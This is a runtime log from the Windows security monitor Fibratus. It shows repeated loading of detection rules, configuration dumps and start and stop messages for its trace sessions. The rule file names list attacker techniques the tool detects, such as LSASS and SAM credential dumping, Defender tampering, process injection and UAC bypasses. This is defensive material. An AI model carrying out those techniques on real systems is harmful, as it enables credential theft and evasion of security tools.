source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:57:47+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T15:57:47+01:00 level=info msg=bootstrapping with pid 5652. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:57:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ to=>[] use-template=>true enabled=>false content-type=>text/html port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-mem=>false min-buffers=>16 enable-thread=>true enable-vamap=>true enable-fileio=>true stack-enrichment=>true buffer-size=>512 enable-net=>true max-buffers=>36 enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-audit-api=>true enable-threadpool=>false enable-registry=>true enable-image=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 log-stdout=>true level=>info max-age=>0 formatter=>text] + output ......................... [ http=>[ enable-gzip=>false endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false serializer=>json method=>POST enabled=>false] eventlog=>[ enabled=>false level=>info] amqp=>[ exchange=>fibratus passive=>false url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false vhost=>/ exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s durable=>false routing-key=>fibratus] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ template-name=>fibratus timeout=>5s trace-log=>false healthcheck-interval=>10s healthcheck=>true flush-period=>1s servers=>[http://127.0.0.1:9200] enabled=>false gzip-compression=>false bulk-workers=>1 sniff=>false healthcheck-timeout=>5s index-name=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] enabled=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-allocs=>false scan-timeout=>10s skip-mmaps=>false skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:57:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:57:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:59:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:59:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:59:43+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T16:00:39+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T16:00:39+01:00 level=info msg=bootstrapping with pid 15012. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T16:00:39+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-threadpool=>false buffer-size=>512 enable-net=>true max-buffers=>36 enable-audit-api=>true stack-enrichment=>true enable-dns=>false enable-registry=>true enable-thread=>true enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-handle=>false min-buffers=>16 enable-vamap=>true flush-interval=>1s enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info log-stdout=>true formatter=>text max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false exchange=>fibratus exchange-type=>topic delivery-mode=>transient routing-key=>fibratus timeout=>5s url=>amqp://localhost:5672 enabled=>false vhost=>/ durable=>false passive=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ template-name=>fibratus gzip-compression=>false enabled=>false healthcheck=>true bulk-workers=>1 healthcheck-interval=>10s trace-log=>false flush-period=>1s timeout=>5s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false index-name=>fibratus] http=>[ timeout=>5s enabled=>false method=>POST tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false serializer=>json] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-registry=>false skip-allocs=>false excluded-files=>[] skip-files=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T16:00:39+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T16:00:42+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T16:06:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T16:06:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T16:06:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T16:09:42+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T16:09:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 